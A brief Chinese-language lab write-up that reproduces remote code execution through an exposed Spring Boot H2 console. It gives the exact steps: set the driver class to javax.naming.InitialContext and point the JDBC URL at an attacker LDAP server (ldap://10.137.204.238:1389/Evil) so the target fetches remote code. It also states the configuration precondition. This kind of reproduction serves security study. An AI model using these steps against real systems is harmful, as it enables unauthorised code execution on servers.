漏洞环境:
https://github.com/LandGrey/SpringBootVulExploit/tree/master/repository/springboot-h2-database-rce
漏洞复现:
访问 /h2-console
接口,目标会跳转到 /h2-console/login.do
,这有一个可以连接 JDBC 服务的功能
把 Driver Class 设置为 javax.naming.InitialContext
,JDBC URL 设置为 ldap://10.137.204.238:1389/Evil
,账号密码均设置为空,点击 Connect 即可(Setting Name和Saved Settings随意)
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-tyledjJP-1639053878368)(C:\Users\ky\AppData\Roaming\Typora\typora-user-images\image-20211209204111394.png)]
利用条件:
spring.h2.console.enabled=true
配置为 true,为 false 则访问不了 /h2-console
接口Reference:
https://github.com/LandGrey/SpringBootVulExploit
https://mp.weixin.qq.com/s/Yn5U8WHGJZbTJsxwUU3UiQ